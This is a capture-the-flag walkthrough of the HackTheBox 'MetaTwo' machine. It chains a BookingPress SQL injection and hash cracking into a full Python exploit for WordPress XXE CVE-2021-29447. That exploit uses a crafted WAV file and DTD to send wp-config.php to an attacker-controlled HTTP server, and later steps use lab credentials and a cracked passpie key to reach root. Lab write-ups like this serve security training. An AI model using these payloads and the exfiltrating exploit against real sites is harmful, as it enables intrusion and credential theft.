IP-ADDR: 10.10.11.186 metapress.htb
nmap scan: TCP/IP
PORT STATE SERVICE VERSION
21/tcp open ftp?
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data.
- Web server is redirecting to hostname
metapress.htb
- web server running wordpress.
wpscan found some information
... [snip] ...
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Aggressive Detection)
| - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
| - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
... [snip] ...
[i] User(s) Identified:
[+] admin
| Found By: Wp Json Api (Aggressive Detection)
| - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Rss Generator (Aggressive Detection)
| Author Sitemap (Aggressive Detection)
| - http://metapress.htb/wp-sitemap-users-1.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] manager
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Users found -> admin
, manager
Where wpscan did not find any plugin, /event
page is using a wordpress plugin bookingpress-appointment-booking
-> http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt
- Version -> 1.0.10
- Vulnerability -> SQLi CVE-2022-0739
- Exploit -> https://github.com/destr4ct/CVE-2022-0739
In the event page, when we book appointment, an ajax call made through the api /wp-admin/admin-ajax.php
An unauth user can make this api call to "bookingpress-appointment-booking" and there is a "bookingpress_front_get_category_services" api action which is vlunerable for SQLi.
And here "total_service" parameter is vulnerable for sql injection.
Running the exploit
❯ python booking-press-expl.py -u http://metapress.htb -n dfb44d7330
- BookingPress PoC
-- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
-- Count of users: 2
|admin|[email protected]|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|[email protected]|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
haskcat cracked the "manager" password hash.
❯ hashcat -m 400 -a 0 hashes /usr/share/wordlists/rockyou.txt --show
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
Creds -> manager:partylikearockstar
With manager creds we can login to wordpress dashboard, but "manager" only have "Media Library" access.
and there is a vulnerability in wordpress version 5.6.0 to 5.7.0 where an an authenticated user with the ability to upload files in the Media Library can upload a malicious WAVE file that could lead to remote arbitrary file disclosure and server-side request forgery (SSRF).
- Version -> WP 5.6.0 to 5.7.0
- Vulnerability -> XXE CVE-2021-29447
Generate payload wave file -
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://IP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Create dtd file -
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://IP:PORT/?p=%file;'>" >
Start http server -
python -m http.server 8000
Upload "payload.wav" file in wordpress media library.
Exploit Script
#!/usr/bin/env python3
"""
Author: poorduck
Description: in wordpress version 5.6.0 to 5.7.0 where an an authenticated user with the ability to upload files
in the "Media Library" can upload a malicious WAVE file that could lead to remote arbitrary file disclosure
and server-side request forgery (SSRF).
CVE: CVE-2021-29447 https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
Usage: python3 script.py [FILEPATH]
where FILEPATH is the full path of file want to read.
Example: python script.py '/etc/passwd'
Pre-requirements:
- Remote host should be added in the "/etc/hosts" file i.e "10.10.11.186 metapress.htb"
- HackTheBox VPN is connected on "tun0" interface
"""
import requests
from bs4 import BeautifulSoup
from re import findall
import threading
import socketserver
import http.server
from base64 import b64decode
import netifaces as ni
from os import path
from sys import argv
session = requests.Session()
rhost = "http://metapress.htb"
# metapress wordpress creds
username = 'manager'
password = 'partylikearockstar'
# Enable burp proxy
# session.proxies = {"http": "http://127.0.0.1:8080"}
# Get HackTheBox vpn ip from tun0 interface
try:
htb_vpn_inf = 'tun0'
lhost = ni.ifaddresses(htb_vpn_inf)[ni.AF_INET][0]['addr']
except ValueError as e:
print("[!] tun0 not found!")
exit(e)
# Login to wordpress and get auth session
def login_to_wordpress(url, username, password):
# get the login page to extract the login form fields
login_page = session.get(f"{url}/wp-login.php")
soup = BeautifulSoup(login_page.content, 'html.parser')
form = soup.find('form', {'id': 'loginform'})
# extract the form fields
action = form['action']
inputs = form.find_all('input')
data = {}
for i in inputs:
if i.has_attr('name'):
data[i['name']] = i['value']
# update the form fields with the credentials
data['log'] = username
data['pwd'] = password
# submit the form
response = session.post(action, data=data, allow_redirects=False)
# check if the login was successful
if "wordpress_logged_in" in response.headers["Set-Cookie"]:
print('[+] Login successful!')
return True
else:
print('[-] Login failed.')
return False
# File upload function in wordpress "Media Library"
def wp_media_library_upload(url, username, password, filename):
# log in to WordPress
login_success = login_to_wordpress(url=url, username=username, password=password)
if not login_success:
print("[-] Login failed.")
return False
# prepare the image data
with open(filename, 'rb') as f:
image_data = f.read()
# Grab _wpnonce
res = session.get(f"{url}/wp-admin/media-new.php")
wp_nonce = findall(r'name="_wpnonce" value="(\w+)"',res.text)
if len(wp_nonce) == 0 :
print("[-] Failed to retrieve the _wpnonce")
return False
else :
_wpnonce = wp_nonce[0]
print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + _wpnonce)
file_data = {"name": (None, filename), "action": (None, "upload-attachment"), "_wpnonce": (None, _wpnonce), "async-upload": (filename, image_data)}
# send the POST request to upload the image
response = session.post(f"{url}/wp-admin/async-upload.php", files=file_data)
# check if the image was uploaded successfully
if 'success' in response.text:
print('[+] Image uploaded successfully!')
# return True
pass
elif response.status_code == '502':
return True # XXE triggered.
else:
print('[-] Image upload failed.')
return False
# http server handler
class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
already_processed = set() # Add this line to define the attribute
def __init__(self, *args, **kwargs):
super().__init__(*args, directory='.', **kwargs)
def do_GET(self):
# Check if the request has already been processed
if self.path in self.already_processed:
return
self.already_processed.add(self.path)
super().do_GET()
# extract the request path from the log and print it
request_path = self.requestline
if "?p=" in request_path:
recv_data = request_path.split(' ')[1]
recv_data = findall(r"/\?p=(.*?)$", recv_data)[0]
base64_decoded = b64decode(recv_data).decode('UTF-8')
print('[+] Data received:\n\n'+ base64_decoded)
def log_message(self, format, *args):
pass
# http server
def run_http_server(port):
try:
socketserver.TCPServer.allow_reuse_address = True # Fixes "[Errno 48] Address already in use" error
server = socketserver.TCPServer(("", port), MyHttpRequestHandler)
print("[+] HTTP server started at port", port)
server.serve_forever()
except OSError as e:
print(e)
# Generate required files for the exploit
def init_files(get_this, ip, server_port):
dtd = f"""<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={get_this}">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://{ip}:{server_port}/?p=%file;'>" >"""
fn1 = 'EXPLOIT.dtd'
with open(fn1, 'w') as f:
f.write(dtd)
print(f'[+] File {fn1} written successfully.')
fn2 = 'payload.wav'
if not path.isfile(fn2):
# Create "payload.wav" manually. If generated payload file will not work.
"""
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.32:8000/EXPLOIT.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
"""
WAV_BYTES = b"\x52\x49\x46\x46\xb8\x00\x00\x00\x57\x41\x56\x45\x69\x58\x4d\x4c\x7b\x00\x00\x00\x3c\x3f\x78\x6d\x6c\x20"
WAV_BYTES += b"\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x3f\x3e\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x41"
WAV_BYTES += b"\x4e\x59\x5b\x3c\x21\x45\x4e\x54\x49\x54\x59\x20\x25\x20\x72\x65\x6d\x6f\x74\x65\x20\x53\x59\x53\x54\x45"
WAV_BYTES += bytes(f"\x4d\x20\x27\x68\x74\x74\x70\x3a\x2f\x2f{ip}\x3a{server_port}\x2f", encoding='latin1')
WAV_BYTES += b"\x45\x58\x50\x4c\x4f\x49\x54\x2e\x64\x74\x64\x27\x3e\x25\x72\x65\x6d\x6f\x74\x65\x3b\x25\x69\x6e\x69\x74"
WAV_BYTES += b"\x3b\x25\x74\x72\x69\x63\x6b\x3b\x5d\x3e\x00"
with open(fn2, 'wb') as f:
f.write(WAV_BYTES)
return fn1, fn2
if __name__ == '__main__':
srv_port = 8000
dtd_fn = ""
try:
filepath = argv[1]
except IndexError as e:
exit("Usage: script.py [FILEPATH]")
try:
dtd_fn, payload_fn = init_files(get_this=filepath, ip=lhost, server_port=srv_port)
# start the HTTP server in a separate thread
server_thread = threading.Thread(target=run_http_server, args=(srv_port,))
server_thread.daemon = True
server_thread.start()
# upload the image to WordPress
success = wp_media_library_upload(url=rhost, username=username, password=password, filename=payload_fn)
except KeyboardInterrupt as e:
print(e)
except Exception as e:
print(e)
finally:
if dtd_fn:
import os; os.remove(dtd_fn) if os.path.isfile(dtd_fn) else None
From wp-config.php file, got FTP creds -> metapress.htb:9NYS_ii@[email protected]
And database creds -> blog:635Aq@TdqrCwXFUZ
From FTP server, found some more creds in /mailer/send_email.php
-> jnelson:Cb4_JmWM8zUZWMu@Ys
And there is a user "jnelson" on the box, so we colud reuse these creds in ssh login.
There is a .passpie
direcotry in /home/jnelson
.
It is a password manager -> https://github.com/marcwebbie/passpie
And .passpie
direcotry contains encrypted password files for ssh login.
There is a .keys
file, which contains passpie encrypted Passphrase public and private gpg keys. We can use private key to crack the Passphrase using john
.
Save private key from .keys
file in local machine.
Use gpg2john
to extract hash.
gpg2john keys > passpie.bash
❯ john passpie.bash -w /usr/share/wordlists/rockyou.txt
... [snip] ...
blink182 (Passpie)
Passpie Passphrase -> blink182
jnelson@meta2:~$ passpie copy root@ssh --to stdout
Passphrase:
p7qfAZt4_A1xo_0x